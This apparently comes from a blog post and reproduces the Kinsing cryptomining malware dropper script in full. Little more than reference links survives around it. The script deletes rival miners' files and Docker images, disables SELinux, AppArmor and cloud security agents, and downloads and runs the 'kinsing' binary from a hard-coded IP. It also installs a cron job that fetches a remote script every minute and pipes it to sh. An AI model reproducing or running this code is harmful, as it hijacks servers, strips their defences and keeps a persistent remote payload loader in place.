    rm -rf /tmp/java
    rm -rf /tmp/j2.conf
    rm -rf /tmp/.mynews1234
    rm -rf /tmp/a3e12d
    rm -rf /tmp/.pt
    rm -rf /tmp/.pt.tgz
    rm -rf /tmp/.pt.tgz.1
    rm -rf /tmp/go
    rm -rf /tmp/java
    rm -rf /tmp/j2.conf
    rm -rf /tmp/.tmpnewasss
    rm -rf /tmp/java
    rm -rf /tmp/go.sh
    rm -rf /tmp/go2.sh
    rm -rf /tmp/khugepageds
    rm -rf /tmp/.censusqqqqqqqqq
    rm -rf /tmp/.kerberods
    rm -rf /tmp/kerberods
    rm -rf /tmp/seasame
    rm -rf /tmp/touch
    rm -rf /tmp/.p
    rm -rf /tmp/runtime2.sh
    rm -rf /tmp/runtime.sh
    rm -rf /dev/shm/z3.sh
    rm -rf /dev/shm/z2.sh
    rm -rf /dev/shm/.scr
    rm -rf /dev/shm/.kerberods
    rm -f /etc/ld.so.preload
    rm -f /usr/local/lib/libioset.so
    chattr -i /etc/ld.so.preload
    rm -f /etc/ld.so.preload
    rm -f /usr/local/lib/libioset.so
    rm -rf /tmp/watchdogs
    rm -rf /etc/cron.d/tomcat
    rm -rf /etc/rc.d/init.d/watchdogs
    rm -rf /usr/sbin/watchdogs
    rm -f /tmp/kthrotlds
    rm -f /etc/rc.d/init.d/kthrotlds
    rm -rf /tmp/.sysbabyuuuuu12
    rm -rf /tmp/logo9.jpg
    rm -rf /tmp/miner.sh
    rm -rf /tmp/nullcrew
    rm -rf /tmp/proc
    rm -rf /tmp/2.sh
    rm /opt/atlassian/confluence/bin/1.sh
    rm /opt/atlassian/confluence/bin/1.sh.1
    rm /opt/atlassian/confluence/bin/1.sh.2
    rm /opt/atlassian/confluence/bin/1.sh.3
    rm /opt/atlassian/confluence/bin/3.sh
    rm /opt/atlassian/confluence/bin/3.sh.1
    rm /opt/atlassian/confluence/bin/3.sh.2
    rm /opt/atlassian/confluence/bin/3.sh.3
    rm -rf /var/tmp/f41
    rm -rf /var/tmp/2.sh
    rm -rf /var/tmp/config.json
    rm -rf /var/tmp/xmrig
    rm -rf /var/tmp/1.so
    rm -rf /var/tmp/kworkerds3
    rm -rf /var/tmp/kworkerdssx
    rm -rf /var/tmp/kworkerds
    rm -rf /var/tmp/wc.conf
    rm -rf /var/tmp/nadezhda.
    rm -rf /var/tmp/nadezhda.arm
    rm -rf /var/tmp/nadezhda.arm.1
    rm -rf /var/tmp/nadezhda.arm.2
    rm -rf /var/tmp/nadezhda.x86_64
    rm -rf /var/tmp/nadezhda.x86_64.1
    rm -rf /var/tmp/nadezhda.x86_64.2
    rm -rf /var/tmp/sustse3
    rm -rf /var/tmp/sustse
    rm -rf /var/tmp/moneroocean/
    rm -rf /var/tmp/devtool
    rm -rf /var/tmp/devtools
    rm -rf /var/tmp/play.sh
    rm -rf /var/tmp/systemctI
    rm -rf /var/tmp/update.sh
    rm -rf /var/tmp/.java
    rm -rf /var/tmp/1.sh
    rm -rf /var/tmp/conf.n
    rm -r /var/tmp/lib
    rm -r /var/tmp/.lib
    rm -rf /tmp/config.json
    chattr -iau /tmp/lok
    chmod +700 /tmp/lok
    rm -rf /tmp/lok
    #yum install -y docker.io || apt-get install docker.io;
    docker ps | grep "pocosow" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "gakeaws" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "azulu" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "auto" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "xmr" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "mine" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "monero" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "slowhttp" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "bash.shell" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "entrypoint.sh" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "/var/sbin/bash" | awk '{print $1}' | xargs -I % docker kill %
    docker images -a | grep "pocosow" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "gakeaws" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "buster-slim" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "hello-" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "azulu" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "registry" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "xmr" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "auto" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "mine" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "monero" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "slowhttp" | awk '{print $3}' | xargs -I % docker rmi -f %
    setenforce 0
    echo SELINUX=disabled >/etc/selinux/config
    service apparmor stop
    systemctl disable apparmor
    service aliyun.service stop
    systemctl disable aliyun.service
    ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 %
    rm -rf /usr/local/aegis
    
    
    BIN_MD5="648effa354b3cbaad87b45f48d59c616"
    BIN_DOWNLOAD_URL="http://45.137.155.55/kinsing"
    BIN_DOWNLOAD_URL2="http://45.137.155.55/kinsing"
    BIN_NAME="kinsing"
    
    ROOTUID="0"
    BIN_PATH="/etc"
    if [ "$(id -u)" -ne "$ROOTUID" ] ; then
      BIN_PATH="/tmp"
      if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
        echo "$BIN_PATH not exists or not writeable"
        mkdir /tmp
      fi
      if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
        echo "$BIN_PATH replacing with /var/tmp"
        BIN_PATH="/var/tmp"
      fi
      if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
        TMP_DIR=$(mktemp -d)
        echo "$BIN_PATH replacing with $TMP_DIR"
        BIN_PATH="$TMP_DIR"
      fi
      if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
        echo "$BIN_PATH replacing with /dev/shm"
        BIN_PATH="/dev/shm"
      fi
      if [ -d "$BIN_PATH/$BIN_NAME" ]; then
        echo "$BIN_PATH/$BIN_NAME is directory"
        rm -rf $BIN_PATH/$BIN_NAME
      fi
      if [ -e "$BIN_PATH/$BIN_NAME" ]; then
        echo "$BIN_PATH/$BIN_NAME exists"
        if [ ! -w "$BIN_PATH/$BIN_NAME" ]; then
          echo "$BIN_PATH/$BIN_NAME not writeable"
          ls -la $BIN_PATH | grep -e "/dev" | grep -v grep
          if [ $? -eq 0 ]; then
            rm -rf $BIN_PATH/$BIN_NAME
            rm -rf $BIN_PATH/kdevtmpfsi
            echo "found /dev"
          else
            echo "not found /dev"
          fi
          TMP_BIN_NAME=$(head -3 /dev/urandom | tr -cd '[:alnum:]' | cut -c -8)
          BIN_NAME="kinsing_$TMP_BIN_NAME"
        else
          echo "writeable $BIN_PATH/$BIN_NAME"
        fi
      fi
    fi
    
    BIN_FULL_PATH="$BIN_PATH/$BIN_NAME"
    echo "$BIN_FULL_PATH"
    
    LDR="wget -q -O -"
    if [ -s /usr/bin/curl ]; then
      LDR="curl"
    fi
    if [ -s /usr/bin/wget ]; then
      LDR="wget -q -O -"
    fi
    
    if [ -x "$(command -v curl)" ]; then
      WGET="curl -o"
    elif [ -x "$(command -v wget)" ]; then
      WGET="wget -O"
    else
      echo "wget none"
    fi
    echo "wget is $WGET"
    
    ls -la $BIN_PATH | grep -e "/dev" | grep -v grep
    if [ $? -eq 0 ]; then
      rm -rf $BIN_FULL_PATH
      rm -rf $SO_FULL_PATH
      rm -rf $BIN_PATH/kdevtmpfsi
      rm -rf $BIN_PATH/libsystem.so
      rm -rf /tmp/kdevtmpfsi
      echo "found /dev"
    else
      echo "not found /dev"
    fi
    
    checkExists() {
      CHECK_PATH=$1
      MD5=$2
      sum=$(md5sum $CHECK_PATH | awk '{ print $1 }')
      retval=""
      if [ "$MD5" = "$sum" ]; then
        echo >&2 "$CHECK_PATH is $MD5"
        retval="true"
      else
        echo >&2 "$CHECK_PATH is not $MD5, actual $sum"
        retval="false"
      fi
      echo "$retval"
    }
    
    download() {
      DOWNLOAD_PATH=$1
      DOWNLOAD_URL=$2
      if [ -L $DOWNLOAD_PATH ]
      then
        rm -rf $DOWNLOAD_PATH
      fi
      chmod 777 $DOWNLOAD_PATH
      $WGET $DOWNLOAD_PATH $DOWNLOAD_URL
      chmod +x $DOWNLOAD_PATH
    }
    
    binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
    if [ "$binExists" = "true" ]; then
      echo "$BIN_FULL_PATH exists and checked"
    else
      echo "$BIN_FULL_PATH not exists"
      download $BIN_FULL_PATH $BIN_DOWNLOAD_URL
      binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
      if [ "$binExists" = "true" ]; then
        echo "$BIN_FULL_PATH after download exists and checked"
      else
        echo "$BIN_FULL_PATH after download not exists"
        download $BIN_FULL_PATH $BIN_DOWNLOAD_URL2
        binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
        if [ "$binExists" = "true" ]; then
          echo "$BIN_FULL_PATH after download2 exists and checked"
        else
          echo "$BIN_FULL_PATH after download2 not exists"
        fi
      fi
    fi
    
    chmod 777 $BIN_FULL_PATH
    chmod +x $BIN_FULL_PATH
    SKL=sup $BIN_FULL_PATH
    
    crontab -l | sed '/#wget/d' | crontab -
    crontab -l | sed '/#curl/d' | crontab -
    crontab -l | grep -e "195.3.146.118" | grep -v grep
    if [ $? -eq 0 ]; then
      echo "cron good"
    else
      (
        crontab -l 2>/dev/null
        echo "* * * * * $LDR http://195.3.146.118/sup.sh | sh > /dev/null 2>&1"
      ) | crontab -
    fi
    
    crontab -l | sed '/update.sh/d' | crontab -
    crontab -l | sed '/logo4/d' | crontab -
    crontab -l | sed '/logo9/d' | crontab -
    crontab -l | sed '/logo0/d' | crontab -
    crontab -l | sed '/logo/d' | crontab -
    crontab -l | sed '/tor2web/d' | crontab -
    crontab -l | sed '/jpg/d' | crontab -
    crontab -l | sed '/png/d' | crontab -
    crontab -l | sed '/tmp/d' | crontab -
    crontab -l | sed '/zmreplchkr/d' | crontab -
    crontab -l | sed '/aliyun.one/d' | crontab -
    crontab -l | sed '/3.215.110.66.one/d' | crontab -
    crontab -l | sed '/pastebin/d' | crontab -
    crontab -l | sed '/onion/d' | crontab -
    crontab -l | sed '/lsd.systemten.org/d' | crontab -
    crontab -l | sed '/shuf/d' | crontab -
    crontab -l | sed '/ash/d' | crontab -
    crontab -l | sed '/mr.sh/d' | crontab -
    crontab -l | sed '/185.181.10.234/d' | crontab -
    crontab -l | sed '/localhost.xyz/d' | crontab -
    crontab -l | sed '/45.137.151.106/d' | crontab -
    crontab -l | sed '/111.90.159.106/d' | crontab -
    crontab -l | sed '/github/d' | crontab -
    crontab -l | sed '/bigd1ck.com/d' | crontab -
    crontab -l | sed '/xmr.ipzse.com/d' | crontab -
    crontab -l | sed '/185.181.10.234/d' | crontab -
    crontab -l | sed '/146.71.79.230/d' | crontab -
    crontab -l | sed '/122.51.164.83/d' | crontab -
    crontab -l | sed '/newdat.sh/d' | crontab -
    crontab -l | sed '/lib.pygensim.com/d' | crontab -
    crontab -l | sed '/t.amynx.com/d' | crontab -
    crontab -l | sed '/update.sh/d' | crontab -
    crontab -l | sed '/systemd-service.sh/d' | crontab -
    crontab -l | sed '/pg_stat.sh/d' | crontab -
    crontab -l | sed '/sleep/d' | crontab -
    crontab -l | sed '/oka/d' | crontab -
    crontab -l | sed '/linux1213/d' | crontab -
    crontab -l | sed '/zsvc/d' | crontab -

[chattr]: https://www.cnblogs.com/wj78080458/p/10034635.html
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDIwODA0Mg_size_16_color_FFFFFF_t_70]: /images/20221024/35270f95ab28484a96bbc368cfa0be19.png